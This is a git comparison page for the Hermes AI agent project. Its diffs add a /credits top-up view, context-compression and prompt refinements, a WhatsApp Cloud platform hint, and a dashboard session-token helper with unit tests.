Compare commits
79
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d4a5919f25 | ||
|
|
88dbf95105 | ||
|
|
e20e0bd744 | ||
|
|
0fd34e8c5a | ||
|
|
7ba5df0d52 | ||
|
|
4474873d2c | ||
|
|
8e5b7592f8 | ||
|
|
286ecd26d8 | ||
|
|
8b2a3c9c51 | ||
|
|
74180ebf0b | ||
|
|
f03f161b39 | ||
|
|
1e29ab38c7 | ||
|
|
8e821cd2f5 | ||
|
|
ffef9da9b7 | ||
|
|
8207ae888d | ||
|
|
05470aa1b6 | ||
|
|
b4e95a2efe | ||
|
|
23305cfeab | ||
|
|
156f4fba92 | ||
|
|
a23c0b378c | ||
|
|
9bfff6e16c | ||
|
|
a652131c42 | ||
|
|
573c4e6511 | ||
|
|
0a963d8c9a | ||
|
|
c196269d8d | ||
|
|
906bee9cf7 | ||
|
|
046f444ddc | ||
|
|
15439bee47 | ||
|
|
87893fe4cb | ||
|
|
d810f2b262 | ||
|
|
b3f5e17bb9 | ||
|
|
81cdbbddc8 | ||
|
|
d6df38bb6b | ||
|
|
c7bee8f961 | ||
|
|
434c684bfa | ||
|
|
db7714d5f1 | ||
|
|
343803b23c | ||
|
|
a942bfd9cc | ||
|
|
a35b370284 | ||
|
|
b2d151abe2 | ||
|
|
44bd478039 | ||
|
|
889a13696b | ||
|
|
82d570165e | ||
|
|
c574170050 | ||
|
|
e4c168b1f4 | ||
|
|
08e8bedae8 | ||
|
|
62e937bf2b | ||
|
|
24f74eb888 | ||
|
|
6e41ca956b | ||
|
|
6db65e687c | ||
|
|
09bcf5a937 | ||
|
|
4d67ac6172 | ||
|
|
6c00077d38 | ||
|
|
9e484f052a | ||
|
|
ab06ef8ed6 | ||
|
|
afe53708ee | ||
|
|
5affecb443 | ||
|
|
96cc7ee1e3 | ||
|
|
880107ab24 | ||
|
|
4ddb03390a | ||
|
|
c6007e5c1a | ||
|
|
e2145a5c9c | ||
|
|
55a18e6860 | ||
|
|
b097d7b033 | ||
|
|
cc726aad68 | ||
|
|
81436e143e | ||
|
|
9ff0ba0827 | ||
|
|
e3ed7722b5 | ||
|
|
7a2d498b9d | ||
|
|
e96fe06e49 | ||
|
|
9102d4a588 | ||
|
|
d221e369b8 | ||
|
|
b1fe2107d6 | ||
|
|
73969771a5 | ||
|
|
2ee69d0579 | ||
|
|
52c7976f40 | ||
|
|
2ecb4e62bb | ||
|
|
bfcc9f92b4 | ||
|
|
984e6cb5b8 |
@@ -1,49 +0,0 @@
|
||||
name: E2E CLI Tests
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- "**"
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
e2e-tui-test:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
|
||||
with:
|
||||
node-version: 22
|
||||
cache: npm
|
||||
- run: npm ci
|
||||
- run: cd e2e && CI=true npm run test
|
||||
env:
|
||||
# Ensure tests don't accidentally call real APIs
|
||||
OPENROUTER_API_KEY: ""
|
||||
OPENAI_API_KEY: ""
|
||||
NOUS_API_KEY: ""
|
||||
|
||||
- name: Bundle TUI traces into self-contained replay HTML
|
||||
if: always()
|
||||
run: node e2e/scripts/bundle-replay-html.mjs
|
||||
|
||||
- name: Upload TUI replay viewer
|
||||
uses: actions/upload-artifact@v4
|
||||
if: always()
|
||||
with:
|
||||
name: tui-replay-viewer
|
||||
path: tui-replay-viewer/
|
||||
retention-days: 7
|
||||
|
||||
- name: Upload raw TUI test traces
|
||||
uses: actions/upload-artifact@v4
|
||||
if: always()
|
||||
with:
|
||||
name: tui-test-traces
|
||||
path: e2e/tui-traces/
|
||||
retention-days: 7
|
||||
@@ -19,8 +19,6 @@ __pycache__/
|
||||
.notebooklm-playwright/
|
||||
.pip-cache/
|
||||
.uv-cache/
|
||||
.tui-test/
|
||||
tui-traces/
|
||||
compose.hermes.local.yml
|
||||
export*
|
||||
__pycache__/model_tools.cpython-310.pyc
|
||||
|
||||
+90
-2
@@ -145,7 +145,7 @@ def build_nous_credits_snapshot(account_info) -> Optional[AccountUsageSnapshot]:
|
||||
account info to show (fail-open: caller just shows nothing).
|
||||
"""
|
||||
try:
|
||||
from hermes_cli.nous_account import nous_portal_billing_url
|
||||
from hermes_cli.nous_account import nous_portal_topup_url
|
||||
|
||||
if account_info is None or not getattr(account_info, "logged_in", False):
|
||||
return None
|
||||
@@ -213,7 +213,8 @@ def build_nous_credits_snapshot(account_info) -> Optional[AccountUsageSnapshot]:
|
||||
if not windows and not details:
|
||||
return None
|
||||
|
||||
details.append(f"Manage / top up: {nous_portal_billing_url(account_info)}")
|
||||
details.append(f"Top up: {nous_portal_topup_url(account_info)}")
|
||||
details.append("(or run /credits)")
|
||||
|
||||
plan = getattr(sub, "plan", None) if sub is not None else None
|
||||
return AccountUsageSnapshot(
|
||||
@@ -337,6 +338,93 @@ def _snapshot_from_credits_state(state) -> Optional[AccountUsageSnapshot]:
|
||||
return None
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class CreditsView:
|
||||
"""Surface-agnostic data for the ``/credits`` command.
|
||||
|
||||
One portal fetch, one parse — consumed identically by the CLI panel, the
|
||||
gateway button, and any other money surface. Fail-open: when not logged in
|
||||
or the portal is unreachable, ``logged_in`` is False / ``topup_url`` is None
|
||||
and callers degrade gracefully.
|
||||
"""
|
||||
|
||||
logged_in: bool
|
||||
balance_lines: tuple[str, ...] = ()
|
||||
identity_line: Optional[str] = None
|
||||
topup_url: Optional[str] = None
|
||||
depleted: bool = False
|
||||
|
||||
|
||||
def build_credits_view(*, markdown: bool = False, timeout: float = 10.0) -> CreditsView:
|
||||
"""Build the /credits view: balance block + identity line + top-up URL.
|
||||
|
||||
Reuses the same account fetch + snapshot + URL builder as the /usage credits
|
||||
block, so the numbers always match. The balance block is the rendered
|
||||
snapshot MINUS its trailing top-up/command-hint lines (the /credits surface
|
||||
supplies its own affordance). Fail-open → ``CreditsView(logged_in=False)``.
|
||||
"""
|
||||
not_logged_in = CreditsView(logged_in=False)
|
||||
try:
|
||||
from hermes_cli.auth import get_provider_auth_state
|
||||
|
||||
tok = (get_provider_auth_state("nous") or {}).get("access_token")
|
||||
if not (isinstance(tok, str) and tok.strip()):
|
||||
return not_logged_in
|
||||
except Exception:
|
||||
return not_logged_in
|
||||
|
||||
try:
|
||||
import concurrent.futures
|
||||
|
||||
from hermes_cli.nous_account import (
|
||||
get_nous_portal_account_info,
|
||||
nous_portal_topup_url,
|
||||
)
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=1) as pool:
|
||||
account = pool.submit(get_nous_portal_account_info, force_fresh=True).result(
|
||||
timeout=timeout
|
||||
)
|
||||
except Exception:
|
||||
logger.debug("credits ▸ /credits portal fetch failed (fail-open)", exc_info=True)
|
||||
return not_logged_in
|
||||
|
||||
if account is None or not getattr(account, "logged_in", False):
|
||||
return not_logged_in
|
||||
|
||||
snapshot = build_nous_credits_snapshot(account)
|
||||
# Balance lines = the snapshot block minus the two trailing affordance lines
|
||||
# ("Top up: <url>" + "(or run /credits)") that build_nous_credits_snapshot
|
||||
# appends for the /usage surface. /credits renders its own button/panel.
|
||||
balance_lines: list[str] = []
|
||||
if snapshot is not None:
|
||||
rendered = render_account_usage_lines(snapshot, markdown=markdown)
|
||||
balance_lines = [
|
||||
line
|
||||
for line in rendered
|
||||
if not line.lstrip().startswith("Top up:")
|
||||
and not line.lstrip().startswith("(or run")
|
||||
]
|
||||
|
||||
# Identity line — shown before any open (roadmap §4.4).
|
||||
email = getattr(account, "email", None)
|
||||
org_name = getattr(account, "org_name", None)
|
||||
who: list[str] = []
|
||||
if email:
|
||||
who.append(str(email))
|
||||
if org_name:
|
||||
who.append(f"org {org_name}")
|
||||
identity_line = ("Topping up as " + " / ".join(who)) if who else None
|
||||
|
||||
return CreditsView(
|
||||
logged_in=True,
|
||||
balance_lines=tuple(balance_lines),
|
||||
identity_line=identity_line,
|
||||
topup_url=nous_portal_topup_url(account),
|
||||
depleted=getattr(account, "paid_service_access", None) is False,
|
||||
)
|
||||
|
||||
|
||||
def _resolve_codex_usage_url(base_url: str) -> str:
|
||||
normalized = (base_url or "").strip().rstrip("/")
|
||||
if not normalized:
|
||||
|
||||
@@ -127,14 +127,21 @@ def _chat_content_to_responses_parts(content: Any, *, role: str = "user") -> Lis
|
||||
return converted
|
||||
|
||||
|
||||
def _summarize_user_message_for_log(content: Any) -> str:
|
||||
"""Return a short text summary of a user message for logging/trajectory.
|
||||
def _summarize_user_message_for_log(content: Any, *, sep: str = " ") -> str:
|
||||
"""Flatten message content to a plain-text summary.
|
||||
|
||||
Multimodal messages arrive as a list of ``{type:"text"|"image_url", ...}``
|
||||
parts from the API server. Logging, spinner previews, and trajectory
|
||||
files all want a plain string — this helper extracts the first chunk of
|
||||
text and notes any attached images. Returns an empty string for empty
|
||||
lists and ``str(content)`` for unexpected scalar types.
|
||||
parts from the API server. Several consumers want a plain string:
|
||||
|
||||
- Logging, spinner previews, and trajectory files (the default ``sep=" "``).
|
||||
- External memory providers, which feed the text to regexes
|
||||
(``sanitize_context``) and text APIs — a raw list crashes the sync with
|
||||
``expected string or bytes-like object, got 'list'`` (use ``sep="\\n"``).
|
||||
|
||||
Text parts are joined with ``sep``; images become a ``[N image(s)]`` marker
|
||||
so the turn isn't recorded as if the attachment never existed. Returns an
|
||||
empty string for empty lists and ``str(content)`` for unexpected scalar
|
||||
types.
|
||||
"""
|
||||
if content is None:
|
||||
return ""
|
||||
@@ -157,7 +164,7 @@ def _summarize_user_message_for_log(content: Any) -> str:
|
||||
text_bits.append(text)
|
||||
elif ptype in {"image_url", "input_image"}:
|
||||
image_count += 1
|
||||
summary = " ".join(text_bits).strip()
|
||||
summary = sep.join(text_bits).strip()
|
||||
if image_count:
|
||||
note = f"[{image_count} image{'s' if image_count != 1 else ''}]"
|
||||
summary = f"{note} {summary}" if summary else note
|
||||
|
||||
@@ -190,6 +190,10 @@ CODING_AGENT_GUIDANCE = (
|
||||
"Verify, and know when to stop:\n"
|
||||
"- Use `terminal` for git, builds, tests, and inspection. Run the relevant "
|
||||
"tests/linter/build and confirm they pass before claiming the work is done.\n"
|
||||
"- Terminal state persists across calls: current directory and exported "
|
||||
"environment variables carry forward. Activate a virtualenv or export setup "
|
||||
"vars once, then reuse that state instead of re-sourcing it before every "
|
||||
"test command.\n"
|
||||
"- Fix root causes, not symptoms: when you find a bug, check sibling call "
|
||||
"paths for the same flaw and fix the class, not just the reported site.\n"
|
||||
"- When fixing linter/type errors on a file, stop after about three "
|
||||
@@ -711,10 +715,13 @@ def build_coding_workspace_block(cwd: Optional[str | Path] = None) -> str:
|
||||
lines.append("- Branch: (detached HEAD)")
|
||||
|
||||
# Linked worktree: the per-worktree git dir differs from the shared common dir.
|
||||
# We surface the fact that it's a worktree (so the model knows branches/stashes
|
||||
# are shared state) but deliberately do NOT expose the primary tree path —
|
||||
# giving the model a second absolute path causes it to sometimes run commands
|
||||
# in the wrong directory.
|
||||
git_dir, common_dir = _git(root, "rev-parse", "--git-dir"), _git(root, "rev-parse", "--git-common-dir")
|
||||
if git_dir and common_dir and Path(git_dir).resolve() != Path(common_dir).resolve():
|
||||
main_tree = Path(common_dir).resolve().parent
|
||||
lines.append(f"- Worktree: linked (primary tree at {main_tree})")
|
||||
lines.append("- Worktree: linked (git state shared with primary tree)")
|
||||
|
||||
dirty = [f"{n} {label}" for label, n in (
|
||||
("staged", counts["staged"]), ("modified", counts["modified"]),
|
||||
|
||||
@@ -143,10 +143,18 @@ _SUMMARY_FAILURE_COOLDOWN_SECONDS = 600
|
||||
# become another unbounded transcript copy after the LLM summarizer failed.
|
||||
_FALLBACK_SUMMARY_MAX_CHARS = 8_000
|
||||
_FALLBACK_TURN_MAX_CHARS = 700
|
||||
_AUTO_FOCUS_MAX_TURNS = 3
|
||||
_AUTO_FOCUS_TURN_MAX_CHARS = 260
|
||||
_AUTO_FOCUS_MAX_CHARS = 700
|
||||
|
||||
|
||||
_PATH_MENTION_RE = re.compile(r"(?:/|~/?|[A-Za-z]:\\)[^\s`'\")\]}<>]+")
|
||||
|
||||
# MEDIA delivery directives must not reach the summarizer — if one leaks into
|
||||
# the summary, the downstream model may re-emit it as an active directive on
|
||||
# the next turn, triggering bogus attachment sends (#14665).
|
||||
_MEDIA_DIRECTIVE_RE = re.compile(r"MEDIA:\S+")
|
||||
|
||||
|
||||
def _dedupe_append(items: list[str], value: str, *, limit: int) -> None:
|
||||
value = value.strip()
|
||||
@@ -1007,6 +1015,7 @@ class ContextCompressor(ContextEngine):
|
||||
for msg in turns:
|
||||
role = msg.get("role", "unknown")
|
||||
content = redact_sensitive_text(msg.get("content") or "")
|
||||
content = _MEDIA_DIRECTIVE_RE.sub("[media attachment]", content)
|
||||
|
||||
# Tool results: keep enough content for the summarizer
|
||||
if role == "tool":
|
||||
@@ -1454,7 +1463,7 @@ Use this exact structure:
|
||||
prompt += f"""
|
||||
|
||||
FOCUS TOPIC: "{focus_topic}"
|
||||
The user has requested that this compaction PRIORITISE preserving all information related to the focus topic above. For content related to "{focus_topic}", include full detail — exact values, file paths, command outputs, error messages, and decisions. For content NOT related to the focus topic, summarise more aggressively (brief one-liners or omit if truly irrelevant). The focus topic sections should receive roughly 60-70% of the summary token budget. Even for the focus topic, NEVER preserve API keys, tokens, passwords, or credentials — use [REDACTED]."""
|
||||
This compaction should PRIORITISE preserving all information related to the focus topic above. For content related to "{focus_topic}", include full detail — exact values, file paths, command outputs, error messages, and decisions. For content NOT related to the focus topic, summarise more aggressively (brief one-liners or omit if truly irrelevant). The focus topic sections should receive roughly 60-70% of the summary token budget. Even for the focus topic, NEVER preserve API keys, tokens, passwords, or credentials — use [REDACTED]."""
|
||||
|
||||
try:
|
||||
call_kwargs = {
|
||||
@@ -1623,6 +1632,39 @@ The user has requested that this compaction PRIORITISE preserving all informatio
|
||||
return True
|
||||
return any(text.startswith(p) for p in _HISTORICAL_SUMMARY_PREFIXES)
|
||||
|
||||
@classmethod
|
||||
def _derive_auto_focus_topic(
|
||||
cls,
|
||||
messages: List[Dict[str, Any]],
|
||||
) -> Optional[str]:
|
||||
"""Infer a compact focus hint from the most recent real user turns."""
|
||||
candidates: list[str] = []
|
||||
for idx in range(len(messages) - 1, -1, -1):
|
||||
msg = messages[idx]
|
||||
if msg.get("role") != "user":
|
||||
continue
|
||||
content = msg.get("content")
|
||||
if cls._is_context_summary_content(content):
|
||||
continue
|
||||
text = redact_sensitive_text(_content_text_for_contains(content).strip())
|
||||
if not text:
|
||||
continue
|
||||
text = " ".join(text.split())
|
||||
if len(text) > _AUTO_FOCUS_TURN_MAX_CHARS:
|
||||
text = text[: _AUTO_FOCUS_TURN_MAX_CHARS - 1].rstrip() + "…"
|
||||
candidates.append(text)
|
||||
if len(candidates) >= _AUTO_FOCUS_MAX_TURNS:
|
||||
break
|
||||
|
||||
if not candidates:
|
||||
return None
|
||||
|
||||
candidates.reverse()
|
||||
focus = "Recent user focus:\n" + "\n".join(f"- {item}" for item in candidates)
|
||||
if len(focus) > _AUTO_FOCUS_MAX_CHARS:
|
||||
focus = focus[: _AUTO_FOCUS_MAX_CHARS - 1].rstrip() + "…"
|
||||
return focus
|
||||
|
||||
@classmethod
|
||||
def _find_latest_context_summary(
|
||||
cls,
|
||||
@@ -2070,7 +2112,8 @@ The user has requested that this compaction PRIORITISE preserving all informatio
|
||||
)
|
||||
|
||||
# Phase 3: Generate structured summary
|
||||
summary = self._generate_summary(turns_to_summarize, focus_topic=focus_topic)
|
||||
summary_focus_topic = focus_topic or self._derive_auto_focus_topic(messages)
|
||||
summary = self._generate_summary(turns_to_summarize, focus_topic=summary_focus_topic)
|
||||
|
||||
# If summary generation failed, behavior splits on
|
||||
# ``abort_on_summary_failure`` (config: compression.abort_on_summary_failure):
|
||||
|
||||
@@ -286,6 +286,16 @@ def evaluate_credits_notices(
|
||||
for band in CREDITS_USAGE_BANDS: # ascending → last match wins = highest
|
||||
if uf >= band[0]:
|
||||
current_band = band
|
||||
# Top-up suppression: when the account holds purchased (top-up) credits,
|
||||
# the subscription-cap gauge is the wrong denominator — warning "90% used"
|
||||
# at a user sitting on $50 of top-up is noise (and it previously stuck
|
||||
# PERMANENTLY alongside grant_spent at >=100%). Suppress the usage band
|
||||
# entirely; the cap-reached case is covered by the grant_spent info notice
|
||||
# below, which already names the remaining top-up balance. A top-up landing
|
||||
# mid-session flips current_band → None and the clear path below removes
|
||||
# any showing band line.
|
||||
if state.purchased_micros > 0:
|
||||
current_band = None
|
||||
grant_cond = (
|
||||
state.denominator_kind == "subscription_cap"
|
||||
and uf is not None
|
||||
@@ -345,7 +355,7 @@ def evaluate_credits_notices(
|
||||
if show_depleted and "credits.depleted" not in active:
|
||||
to_show.append(
|
||||
AgentNotice(
|
||||
text="✕ Credit access paused · run /usage for balance",
|
||||
text="✕ Credit access paused · run /credits to top up",
|
||||
level="error",
|
||||
kind=CREDITS_NOTICE_KIND,
|
||||
key="credits.depleted",
|
||||
|
||||
+19
-2
@@ -489,6 +489,23 @@ PLATFORM_HINTS = {
|
||||
"files arrive as downloadable documents. You can also include image "
|
||||
"URLs in markdown format  and they will be sent as photos."
|
||||
),
|
||||
"whatsapp_cloud": (
|
||||
"You are on a text messaging communication platform, WhatsApp "
|
||||
"(via Meta's official Business Cloud API). Standard markdown "
|
||||
"(**bold**, ~~strike~~, # headers, [links](url)) is auto-converted "
|
||||
"to WhatsApp's native syntax (*bold*, ~strike~, etc.) — feel free "
|
||||
"to write in markdown. Tables are NOT supported — prefer bullet "
|
||||
"lists or labeled key:value pairs. "
|
||||
"You can send media files natively: include MEDIA:/absolute/path/to/file "
|
||||
"in your response. Images (.jpg, .png) become photo attachments, "
|
||||
"videos (.mp4) play inline, audio (.mp3, .ogg) sends as voice/audio "
|
||||
"messages, other files arrive as documents. Image URLs in markdown "
|
||||
"format  also work. "
|
||||
"IMPORTANT: this platform has a 24-hour conversation window — if the "
|
||||
"user hasn't messaged in 24h, free-form replies are refused by Meta "
|
||||
"(error 131047). This rarely matters for live chat, but is worth "
|
||||
"knowing if you're scheduling a delayed message."
|
||||
),
|
||||
"telegram": (
|
||||
"You are on a text messaging communication platform, Telegram. "
|
||||
"Standard markdown is automatically converted to Telegram format. "
|
||||
@@ -1418,13 +1435,13 @@ def build_nous_subscription_prompt(valid_tool_names: "set[str] | None" = None) -
|
||||
|
||||
lines = [
|
||||
"# Nous Subscription",
|
||||
"Nous subscription includes managed web tools (Firecrawl), image generation (FAL), OpenAI TTS, and browser automation (Browser Use) by default. Modal execution is optional.",
|
||||
"Nous subscription includes managed web tools (Firecrawl), image generation (FAL), OpenAI TTS, OpenAI Whisper STT, and browser automation (Browser Use) by default. Modal execution is optional.",
|
||||
"Current capability status:",
|
||||
]
|
||||
lines.extend(_status_line(feature) for feature in features.items())
|
||||
lines.extend(
|
||||
[
|
||||
"When a Nous-managed feature is active, do not ask the user for Firecrawl, FAL, OpenAI TTS, or Browser-Use API keys.",
|
||||
"When a Nous-managed feature is active, do not ask the user for Firecrawl, FAL, OpenAI TTS, OpenAI Whisper, or Browser-Use API keys.",
|
||||
"If the user is not subscribed and asks for a capability that Nous subscription would unlock or simplify, suggest Nous subscription as one option alongside direct setup or local alternatives.",
|
||||
"Do not mention subscription unless the user asks about it or it directly solves the current missing capability.",
|
||||
"Useful commands: hermes setup, hermes setup tools, hermes setup terminal, hermes status.",
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
/**
|
||||
* Helpers for local dashboard session-token discovery.
|
||||
*
|
||||
* The desktop main process can pass HERMES_DASHBOARD_SESSION_TOKEN when it
|
||||
* spawns the local dashboard, but the dashboard is the source of truth for the
|
||||
* token it actually serves to the renderer. If those drift, HTTP readiness
|
||||
* probes still pass while /api/ws rejects the renderer's token.
|
||||
*/
|
||||
|
||||
const DEFAULT_TOKEN_FETCH_TIMEOUT_MS = 3_000
|
||||
|
||||
async function fetchPublicText(url, options = {}) {
|
||||
const { protocol } = new URL(url)
|
||||
if (protocol !== 'http:' && protocol !== 'https:') {
|
||||
throw new Error(`Unsupported Hermes backend URL protocol: ${protocol}`)
|
||||
}
|
||||
|
||||
const timeoutMs = options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
|
||||
const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }).catch(error => {
|
||||
if (error.name === 'TimeoutError') {
|
||||
throw new Error(`Timed out connecting to Hermes backend after ${timeoutMs}ms`)
|
||||
}
|
||||
throw error
|
||||
})
|
||||
const text = await res.text()
|
||||
|
||||
if (!res.ok) throw new Error(`${res.status}: ${text || res.statusText}`)
|
||||
|
||||
return text
|
||||
}
|
||||
|
||||
function extractInjectedDashboardToken(html) {
|
||||
const match = /window\.__HERMES_SESSION_TOKEN__\s*=\s*("(?:\\.|[^"\\])*")/.exec(String(html || ''))
|
||||
if (!match) return null
|
||||
try {
|
||||
return JSON.parse(match[1])
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
function dashboardIndexUrl(baseUrl) {
|
||||
return `${String(baseUrl || '').replace(/\/+$/, '')}/`
|
||||
}
|
||||
|
||||
async function resolveServedDashboardToken(baseUrl, fallbackToken, options = {}) {
|
||||
const fetchText = options.fetchText || fetchPublicText
|
||||
const html = await fetchText(dashboardIndexUrl(baseUrl), {
|
||||
timeoutMs: options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
|
||||
})
|
||||
const servedToken = extractInjectedDashboardToken(html)
|
||||
|
||||
if (servedToken && servedToken !== fallbackToken && typeof options.rememberLog === 'function') {
|
||||
options.rememberLog('[boot] dashboard served a different session token; using served token for WebSocket auth')
|
||||
}
|
||||
|
||||
return servedToken || fallbackToken
|
||||
}
|
||||
|
||||
/**
|
||||
* A served token that differs from our spawn token while our child is DEAD
|
||||
* came from a process we did not spawn (orphan/port squatter that satisfied
|
||||
* the public /api/status readiness probe). With a live child the mismatch is
|
||||
* benign: our own backend regenerated the token because the env pin did not
|
||||
* survive the spawn.
|
||||
*/
|
||||
function isForeignBackendToken({ servedToken, spawnToken, childAlive }) {
|
||||
return Boolean(servedToken) && servedToken !== spawnToken && !childAlive
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the token the backend actually serves, adopting benign drift and
|
||||
* failing loudly on a foreign backend. `childAlive` is a thunk so liveness is
|
||||
* sampled after the fetch, not before.
|
||||
*/
|
||||
async function adoptServedDashboardToken(baseUrl, spawnToken, { childAlive, label = 'Hermes backend', ...options }) {
|
||||
const servedToken = await resolveServedDashboardToken(baseUrl, spawnToken, options).catch(error => {
|
||||
options.rememberLog?.(`[boot] could not read served dashboard token (${label}): ${error.message}`)
|
||||
return spawnToken
|
||||
})
|
||||
|
||||
if (isForeignBackendToken({ servedToken, spawnToken, childAlive: childAlive() })) {
|
||||
throw new Error(
|
||||
`${label} exited and ${dashboardIndexUrl(baseUrl)} is served by a process we did not spawn; refusing its session token.`
|
||||
)
|
||||
}
|
||||
|
||||
return servedToken
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
DEFAULT_TOKEN_FETCH_TIMEOUT_MS,
|
||||
adoptServedDashboardToken,
|
||||
dashboardIndexUrl,
|
||||
extractInjectedDashboardToken,
|
||||
fetchPublicText,
|
||||
isForeignBackendToken,
|
||||
resolveServedDashboardToken
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
/**
|
||||
* Tests for electron/dashboard-token.cjs.
|
||||
*
|
||||
* Run with: node --test electron/dashboard-token.test.cjs
|
||||
* (Wired into npm test:desktop:platforms in package.json.)
|
||||
*/
|
||||
|
||||
const test = require('node:test')
|
||||
const assert = require('node:assert/strict')
|
||||
|
||||
const {
|
||||
adoptServedDashboardToken,
|
||||
dashboardIndexUrl,
|
||||
extractInjectedDashboardToken,
|
||||
fetchPublicText,
|
||||
isForeignBackendToken,
|
||||
resolveServedDashboardToken
|
||||
} = require('./dashboard-token.cjs')
|
||||
|
||||
test('extractInjectedDashboardToken reads the JSON-encoded dashboard token', () => {
|
||||
const html = '<script>window.__HERMES_SESSION_TOKEN__="served-token";window.__HERMES_BASE_PATH__=""</script>'
|
||||
assert.equal(extractInjectedDashboardToken(html), 'served-token')
|
||||
})
|
||||
|
||||
test('extractInjectedDashboardToken handles escaped token strings', () => {
|
||||
const html = '<script>window.__HERMES_SESSION_TOKEN__="served\\\\token\\"quoted";</script>'
|
||||
assert.equal(extractInjectedDashboardToken(html), 'served\\token"quoted')
|
||||
})
|
||||
|
||||
test('extractInjectedDashboardToken returns null for missing or malformed values', () => {
|
||||
assert.equal(extractInjectedDashboardToken('<html></html>'), null)
|
||||
assert.equal(extractInjectedDashboardToken('<script>window.__HERMES_SESSION_TOKEN__={bad}</script>'), null)
|
||||
})
|
||||
|
||||
test('dashboardIndexUrl preserves dashboard path prefixes', () => {
|
||||
assert.equal(dashboardIndexUrl('http://127.0.0.1:9120'), 'http://127.0.0.1:9120/')
|
||||
assert.equal(dashboardIndexUrl('https://host.example/hermes/'), 'https://host.example/hermes/')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken uses the served token and logs when it differs', async () => {
|
||||
const logs = []
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async url => {
|
||||
assert.equal(url, 'http://127.0.0.1:9120/')
|
||||
return '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
|
||||
},
|
||||
rememberLog: line => logs.push(line)
|
||||
})
|
||||
|
||||
assert.equal(token, 'served-token')
|
||||
assert.equal(logs.length, 1)
|
||||
assert.match(logs[0], /served a different session token/)
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken falls back when the served HTML has no token', async () => {
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async () => '<html></html>',
|
||||
rememberLog: () => {
|
||||
throw new Error('should not log when no served token is present')
|
||||
}
|
||||
})
|
||||
|
||||
assert.equal(token, 'spawn-token')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken does not log when served token matches fallback', async () => {
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'same-token', {
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="same-token";</script>',
|
||||
rememberLog: () => {
|
||||
throw new Error('should not log when token already matches')
|
||||
}
|
||||
})
|
||||
|
||||
assert.equal(token, 'same-token')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken propagates fetch errors so callers can fall back explicitly', async () => {
|
||||
await assert.rejects(
|
||||
() =>
|
||||
resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async () => {
|
||||
throw new Error('boom')
|
||||
}
|
||||
}),
|
||||
/boom/
|
||||
)
|
||||
})
|
||||
|
||||
test('fetchPublicText rejects unsupported protocols', async () => {
|
||||
await assert.rejects(() => fetchPublicText('file:///tmp/index.html'), /Unsupported Hermes backend URL protocol/)
|
||||
})
|
||||
|
||||
test('isForeignBackendToken only flags a mismatched token from a dead child', () => {
|
||||
const cases = [
|
||||
[{ servedToken: 'other', spawnToken: 'mine', childAlive: false }, true],
|
||||
// Live child + drift = our backend regenerated the token (env pin lost).
|
||||
[{ servedToken: 'other', spawnToken: 'mine', childAlive: true }, false],
|
||||
[{ servedToken: 'mine', spawnToken: 'mine', childAlive: false }, false],
|
||||
[{ servedToken: 'mine', spawnToken: 'mine', childAlive: true }, false],
|
||||
[{ servedToken: null, spawnToken: 'mine', childAlive: false }, false],
|
||||
[{ servedToken: '', spawnToken: 'mine', childAlive: false }, false]
|
||||
]
|
||||
for (const [input, expected] of cases) {
|
||||
assert.equal(isForeignBackendToken(input), expected, JSON.stringify(input))
|
||||
}
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken adopts drift from a live child', async () => {
|
||||
const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => true,
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
|
||||
})
|
||||
|
||||
assert.equal(token, 'served-token')
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken refuses a foreign token when our child is dead', async () => {
|
||||
await assert.rejects(
|
||||
() =>
|
||||
adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => false,
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="squatter-token";</script>',
|
||||
label: 'Hermes backend for profile "work"'
|
||||
}),
|
||||
/profile "work".*process we did not spawn/
|
||||
)
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken falls back to the spawn token when the fetch fails', async () => {
|
||||
const logs = []
|
||||
const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => true,
|
||||
fetchText: async () => {
|
||||
throw new Error('boom')
|
||||
},
|
||||
rememberLog: line => logs.push(line)
|
||||
})
|
||||
|
||||
assert.equal(token, 'spawn-token')
|
||||
assert.equal(logs.length, 1)
|
||||
assert.match(logs[0], /could not read served dashboard token \(Hermes backend\): boom/)
|
||||
})
|
||||
@@ -29,6 +29,8 @@ const { runBootstrap } = require('./bootstrap-runner.cjs')
|
||||
const { buildSessionWindowUrl, createSessionWindowRegistry } = require('./session-windows.cjs')
|
||||
const { canImportHermesCli, verifyHermesCli } = require('./backend-probes.cjs')
|
||||
